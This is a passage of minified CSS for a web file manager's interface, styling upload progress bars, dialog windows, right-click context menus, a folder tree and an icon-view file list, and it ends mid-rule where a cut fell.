.error{color:#f30;}.file_upload .uploader-list .item.success,.file_upload .download_list .item.success{background:#eaf8ff;}.file_upload .uploader-list .item.error,.file_upload .download_list .item.error{background:#ffe8e6;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system_conennt .right_frame .user_list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do_search .search_header .btn-right{ margin:-9px 0 0 -2px;height:23px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group_editor .tag input{ position:relative;top:-5px;} .share_dialog .aui_border{ overflow:auto;} .share_dialog .content_box .content_info .input_line.select_path a.select_btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img,.aui_title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui_title img:hover,.aui_title .x-item-file:hover{transform:scale(1.1,1.1);}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-treeSelf{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-treeSelf:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-treeFav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.x-treeFav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open_the_path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open_the_path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute_to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute_to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy_to .font-icon,.context-menu-list .context-menu-item.copy_see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy_to .font-icon:before,.context-menu-list .context-menu-item.copy_see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav_remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav_remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open_text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open_text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav_page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav_page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon:before,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:10px;box-shadow:0 0 0 1px #6db9f5;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}#selContainer{position:absolute;cursor:default;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}#selContainer:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.fileList_icon,.file-draging.fileList_list,.file-draging.fileList_list_split{z-index:1000;overflow:visible;}.file-draging.fileList_icon div.file,.file-draging.fileList_list div.file,.file-draging.fileList_list_split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.fileList_icon div.file.handle_target,.file-draging.fileList_list div.file.handle_target,.file-draging.fileList_list_split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:4px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag_number{display:none;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging{cursor:move;cursor:-webkit-grabbing;}.selectDragDraging .fileList_icon .selectDragTemp{transform:scale(1.1,1.1);}.fileContiner .file .filename .title.db_click_rename{cursor:text;}.fileList_icon{padding:10px 0 0 10px;}.fileList_icon .meta_info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.fileList_icon .meta_info img{width:100%;height:100%;}.fileList_icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.fileList_icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;}.fileList_icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.fileList_icon .file .filename #pathRenameTextarea,.fileList_icon .file .filename .newfile{width:60px;padding:2px 0px;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.fileList_icon .file .filename #pathRenameTextarea:focus,.fileList_icon .file .filename .newfile:focus{outline:none;}.fileList_icon .file.select,.fileList_icon .file.selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_icon .file.file_icon_edit{overflow:visible;}.fileList_icon .file.file_icon_edit .filename{position:absolute;z-index:99;}.fileList_icon .file 